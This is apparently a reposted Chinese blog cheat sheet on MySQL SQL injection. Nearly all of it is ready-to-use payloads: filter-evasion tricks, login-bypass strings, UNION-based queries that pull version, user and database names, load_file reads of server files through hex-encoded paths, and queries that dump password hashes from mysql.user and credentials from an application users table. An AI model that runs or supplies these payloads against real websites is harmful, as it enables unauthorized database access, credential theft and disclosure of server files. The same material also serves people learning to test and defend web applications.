Mysql 一般注入

一、基础知识 

 1.注释符

 #Hash comment

/* C-style comment

-- - SQL comment  --后必须跟空格

;%00 Nullbyte

` Backtick          ·使用在查询最后

2.空格被过滤

使用/**/或()或+代替空格

%0c = form feed, new page

%09 = horizontal tab

%0d = carriage return

%0a = line feed, new line

%0b = tab


3. 查询注入点  真查询有效(页面正常返回) 假查询无效(页面返回错误)

  字符串型

'False

''True

" False

"" True

\ False

\\ Tru

')

数字型

AND 1True

AND 0 False

AND true True

AND false False

1-false Returns 1 if vulnerable

1-true Returns 0 if vulnerable

1*56 Returns 56 if vulnerable

1*56 Returns 1 if not vulnerable

负数和十六进制也能判断

登录

' OR '1

' OR 1 -- -

" OR "" = "

" OR 1 = 1 -- -

'='

LIKE'

'=0--+

二、爆字段

ordery by 数字 (根据返回正确错误猜测字段)

group by 数字  (根据返回正确错误猜测字段)

order by 是按字段排序
group by 是按字段分类


三、匹配 字段
and 1=1 union select 1,2,3,4,5 


四、爆字段位置
and 1=2 union select 1,2,3,4,5

可以修改ID=负数, ID=空置 或修改后面逻辑关系 and 1=2  目的是不让返回select结果 

        union:联合的意思,即把两次或多次查询结果合并起来。要求这两个列数必须一致。
union all和union区别:union 会去除查询结果的重复的数据,UNION all会显示重复的数据。
由于列可能是特殊数据类型,可以使用null代替,所以推荐使用 union all。

MySQL大于4.0的版本支持union (all) select联合查询
例:UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL -- -

五、利用内置函数爆信息

版本  version()
     @@version
     @@GLOBAL.VERSION
例 and 1=2 union all select 1,2,3,version()

当前用户 user()
例 and 1=2 union all select 1,2,3,user()

现在连接数据库 database()
例 and 1=2 union all select 1,2,3,database()

加载文件路径需要使用\\ 由于单引号可能被过滤推荐使用十六进制
load_file('c:\\boot.ini')
load_file(0x633a5c5c626f6f742e696e)
例 and 1=2 union all select 1,2,3,load_file(0x633a5c5c626f6f742e696e)

文件必须在服务器上。
LOAD_FILE()函数操作文件的当前目录是@@datadir 。
MySQL用户必须拥有对此文件读取的权限。
魔术引号关闭。
文件大小必须小于 max_allowed_packet。
@@max_allowed_packet的默认大小是1047552 字节.

mysql 账户和密码
user from mysql.user
password from mysql.user
例 and 1=2 union all select 1,2,3,password from mysql.user

MYSQL的data目录
@@datadir 

MYSQL安装目录
@@basedir 

日志文件路径
@@general_log_file 

数据库端口
@@port 

后48位为服务器MAC

UUID() 

操作系统

@@global.version_compile_os 


六、查询合并

使用concat() 合并

concat()函数可以多个结果合并一个concat(user(),‘|’,@@version,’|‘,database()),其中 |  可以用0x7c表示
例 and 1=2 union all select 1,concat(user(),0x7c,@@version,0x7c,database()),3 -- -

concat_ws()函数也可以做到


七、查看权限

and 1=2 union all select  1,null,group_concat(distinct grantee,0x7c,privilege_type,0x7c,is_grantable) FROM information_schema.user_privileges  -- -

返回正确权限很高

and (select count(*) from MySQL.user)>0 -- -


八、读取表名

读取所有表名

select group_concat(schema_name) FROM information_schema.schemata

读取当前库表名

group_concat(table_name) FROM information_schema.tables WHERE table_schema =database() 


九、读取列名

Select group_concat(column_name) FROM information_schema.columns WHERE table_schema=0x库十六进制 and table_name=0x表的十六进制


十、查询指定值

Select group_concat(列名1,0x7c,列名2) FROM 数据库名.表名


问题:

编码不一致可以用时hex

unhex(hex(user()))

例 and 1=2 UNION all SELECT 1,2, (select unhex(hex(group_concat(id,0x7c,username,0x7c,password))) from security.users) -- -

猜你喜欢

转载自blog.csdn.net/kuangmang/article/details/43412541